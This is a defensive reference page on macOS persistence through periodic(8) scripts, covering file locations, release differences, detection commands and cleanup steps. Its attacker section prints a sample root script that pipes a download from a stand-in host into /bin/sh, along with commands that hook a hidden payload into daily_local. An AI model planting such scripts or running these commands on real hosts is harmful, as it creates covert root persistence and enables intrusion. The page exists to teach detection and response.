Skip to content

On a schedule

Periodic Scripts: macOS Persistence via periodic

How periodic persistence works on macOS: /etc/periodic scripts, periodic.conf *_local settings, which releases still run them, and how to check and clean up.

MITRE ATT&CK
T1053
Tactics
Persistence, Execution
Runs
On a schedule
Set up by
root
Locations
  • /etc/periodic/daily/*
  • /etc/periodic/weekly/*
  • /etc/periodic/monthly/*
  • /usr/local/etc/periodic/*
  • /etc/periodic.conf
  • /etc/periodic.conf.local
  • /etc/daily.local

How it works

periodic(8) comes from FreeBSD. periodic daily, periodic weekly and periodic monthly run, as root and in lexical order, every executable file in the directories configured for that period. For years macOS ran it from three launch daemons in /System/Library/LaunchDaemons, com.apple.periodic-daily, com.apple.periodic-weekly and com.apple.periodic-monthly, scheduled in the early morning and caught up after sleep.

Configuration comes in layers:

  • /etc/defaults/periodic.conf holds Apple's defaults. Do not edit it.
  • /etc/periodic.conf and /etc/periodic.conf.local override it.
  • The defaults name the script directories (/etc/periodic/<period>) and, through FreeBSD's local_periodic setting, /usr/local/etc/periodic/<period>.
  • The stock scripts carry three-digit prefixes, such as 110.clean-tmps and 999.local. 999.local sources the files listed in daily_local, weekly_local and monthly_local, by default /etc/daily.local, /etc/weekly.local and /etc/monthly.local.
  • Output goes to /var/log/daily.out, weekly.out and monthly.out.

Release differences matter here. Recent macOS releases dropped periodic. A macOS 27 installation has no /usr/sbin/periodic, no /etc/periodic, no /etc/defaults/periodic.conf, no periodic(8) manual page and no com.apple.periodic-* launch daemons. The exact release that removed it is not documented here, so check each host rather than assuming.

  • On an older Mac where those files exist, a script in /etc/periodic/daily runs as root every day.
  • On a current Mac, nothing reads those folders. A planted script there is inert, but it still shows what the intruder intended and which playbook they followed. Like emond, periodic is a mechanism that outlived its runner in many guides.

Where it lives

PathWhatWho can write it
/System/Library/LaunchDaemons/com.apple.periodic-*.plistlaunchd jobs that run periodic (older releases)Apple only (system volume)
/usr/sbin/periodicThe runner (older releases)Apple only
/etc/defaults/periodic.confApple's defaultsroot
/etc/periodic.conf, /etc/periodic.conf.localLocal overrides, including the *_local listsroot
/etc/periodic/daily/, weekly/, monthly/Numbered scripts, run as rootroot
/etc/daily.local, /etc/weekly.local, /etc/monthly.localSourced by 999.localroot
/usr/local/etc/periodic/<period>/Local script directoriesroot, or whoever owns /usr/local/etc
/var/log/daily.out, weekly.out, monthly.outWhat each run printedroot

The last writable location deserves a look. On Intel Macs, Homebrew hands several /usr/local subfolders, etc among them, to the user who installed it. Where periodic still runs, a non-root user who can create /usr/local/etc/periodic/daily may get a script run as root. Check the owner of those folders.

How attackers use it

A new numbered script. With root, a script that blends in with Apple's naming runs daily as root and appears in no launch item list:

sudo tee /etc/periodic/daily/450.status-update >/dev/null <<'EOF'
#!/bin/sh
/usr/bin/curl -fsS https://example.com/d | /bin/sh
EOF
sudo chmod 755 /etc/periodic/daily/450.status-update

Pointing a *_local list at a payload. One line in an override file adds a script to the daily run without touching /etc/periodic at all:

# /etc/periodic.conf.local
daily_local="/etc/daily.local /usr/local/libexec/.upd"

Appending to /etc/daily.local. The stock target of daily_local changes no configuration at all. 999.local sources the file, so it does not even need the executable bit:

echo '/usr/local/libexec/.upd >/dev/null 2>&1' | sudo tee -a /etc/daily.local

A daily re-installer. As with a cron watchdog, a periodic script can re-create a launch daemon that responders remove. No widely documented macOS malware family is known for periodic scripts. They appear in hands-on intrusions and persistence tooling.

How to check a host

On a live Mac (read-only), first establish whether periodic exists at all:

ls -l /usr/sbin/periodic /System/Library/LaunchDaemons/com.apple.periodic-* 2>&1
launchctl print system/com.apple.periodic-daily 2>&1 | grep -E 'state|path|last exit'
ls -la@ /etc/periodic/*/ /usr/local/etc/periodic/*/ 2>/dev/null
cat /etc/periodic.conf /etc/periodic.conf.local 2>/dev/null
grep -E '_local=|local_periodic' /etc/defaults/periodic.conf 2>/dev/null
cat /etc/daily.local /etc/weekly.local /etc/monthly.local 2>/dev/null
ls -ld /usr/local/etc /usr/local/etc/periodic 2>/dev/null
tail -50 /var/log/daily.out 2>/dev/null

Compare /etc/periodic with a clean Mac of the same release. Anything without Apple's numbering, or with a recent birth time (stat -f '%SB %Sm %N'), needs reading. daily.out shows what the last runs printed and when. For each program a script calls, check codesign -dv --verbose=4, spctl -a -vv and pkgutil --file-info.

Offline, read private/etc/periodic/, private/etc/periodic.conf*, private/etc/defaults/periodic.conf, private/etc/*.local, usr/local/etc/periodic/ and private/var/log/*.out from the collection. The macOS Persistence tool parses the scripts and configuration files it recognises. The collection command takes /etc/periodic and /etc/periodic.conf. Add periodic.conf.local, /etc/defaults/periodic.conf, /usr/local/etc/periodic and the *.local files yourself when they exist.

What macOS Persistence flags

The tool reads the scripts in /etc/periodic/<period>/ and /usr/local/etc/periodic/<period>/, plus periodic.conf, periodic.conf.local and /etc/defaults/periodic.conf.

  • Custom periodic script: a configuration file sets daily_local, weekly_local or monthly_local to anything other than the stock /etc/<period>.local. The value is also run through the command heuristics.
  • Each script becomes one entry that runs as root on its period. The command heuristics run over the whole file: Downloads and runs code, Reverse or bind shell, Decodes and runs a payload, Interpreter with inline code, Removes Gatekeeper's quarantine, Injects a library (DYLD_), Turns shell history off, Makes a file immutable, Detaches from the session, Runs from a temporary or shared folder, Runs from a hidden folder and Embedded encoded blob. Comments are scanned too, so read the matched text before you escalate.
  • Apple's own scripts on an older Mac are listed without flags unless a heuristic matches. Apple's /etc files have no installer receipts, so the package layer does not mark them.
  • Changed date: the file was modified within the 7 days before the newest file in the collection.
  • program also runs from mechanisms: the script's path is also started by another mechanism.

Limits:

  • /etc/daily.local, /etc/weekly.local and /etc/monthly.local are read too: each is one entry, with its commands run through the same checks.
  • It does not know whether the release still runs periodic.
  • It does not see file modes, and periodic skips scripts that are not executable.
  • It does not open programs that a script calls.

Cleaning up

  1. Preserve first: sudo cp -p the scripts, configuration files, *.local files and /var/log/*.out to case storage, then hash them with shasum -a 256.
  2. Remove the planted script, revert periodic.conf.local, or strip the added lines from /etc/daily.local. There is nothing to unload, because periodic reads its configuration at each run.
  3. If /usr/local/etc is writable by a non-root account, fix the ownership of the periodic folder (root:wheel, mode 755) or remove it.
  4. Search for the same payload in /etc/crontab, launch daemons and other root-run locations. Whoever wrote here had root, so assume they persisted more than once.
  5. Rotate credentials the Mac held and consider a reinstall: root-level persistence rarely comes alone.

References

See also

On Mac Forensics

The artifacts behind this technique, in the Mac Forensics reference: